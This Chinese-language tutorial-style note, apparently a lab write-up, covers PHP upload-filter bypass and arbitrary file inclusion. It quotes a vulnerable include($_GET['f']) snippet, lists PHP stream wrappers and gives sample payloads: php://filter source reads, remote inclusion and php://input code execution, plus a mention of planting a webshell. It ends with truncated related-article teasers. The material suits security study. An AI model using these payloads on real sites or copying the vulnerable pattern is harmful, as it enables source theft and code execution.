1.上傳檔案過濾了字尾名和mime型別,$_files['pic']['type']是由瀏覽器傳輸的檔案型別決定,但是mime_content_type()是由php
內建方法判斷檔案型別;
2.任意檔案包含
$f = $_get['f'];
include_once('sys/config.php');
include($f);
利用zip或phar偽協議讀取壓縮包中的檔案
上傳webshell完成
擴充套件:php偽協議:
file:// — 訪問本地檔案系統
// — 訪問 http(s) **
ftp:
// — 訪問 ftp(s) urls
php:
// — 訪問各個輸入/輸出流(i/o streams)
zlib:
// — 壓縮流
data:
// — 資料(rfc 2397)
glob:
// — 查詢匹配的檔案路徑模式
phar:
// — php 歸檔
ssh2:
// — secure shell 2
rar:
// — rar
ogg:
// — 音訊流
expect:
// — 處理互動式的流
讀取頁面源**
/about.php?f=php://filter/convert.base64-encode/resource=index.php
以base64加密的形式讀取頁面源**,然後在再對**進行base64解密就可以得到源**
當php配置allow_url_include和allow_url_fopen都為on的時候,可以對檔案進行遠端包含
例如:about.php?f=http://web/1.php
當allow_url_include為on,而allow_url_fopen為off的是否,不可以直接遠端包含檔案,但是可以使用php://input、 php://stdin、 php://memory 和 php://temp等偽協議
例如about.php?f=php://input post傳輸資料<?php phpinfo(); ?>
php檔案包含 偽協議 檔案上傳漏洞相關說明
2.任意檔案包含 f get f include once sys config.php include f 利用zip或phar偽協議讀取壓縮包中的檔案 上傳webshell完成 擴充套件 php偽協議 file 訪問本地檔案系統 訪問 http s ftp 訪問 ftp s urls php 訪...
檔案包含與偽協議
說明 include 函式對檔案字尾名無要求,而對其中的語法有要求,即使字尾名為txt,jpg也會被當做php檔案解析,只要檔案內是形式就可以執行,但是如果不是php語法的形式,即使字尾為php,也無法執行。用於訪問本地檔案系統的檔案條件 allow url fopen off on allow u...
檔案包含與PHP偽協議實戰演練
1 include require 當使用include 函式包含檔案時,只有 執行到 include 函式時才將檔案包含進來,發生錯誤時只給出乙個警告,繼續向下執行。當使用require 函式包含檔案時,只要程式一執行就會立即呼叫檔案,發生錯誤的時候會輸出錯誤資訊,並且終止指令碼的執行 2 inc...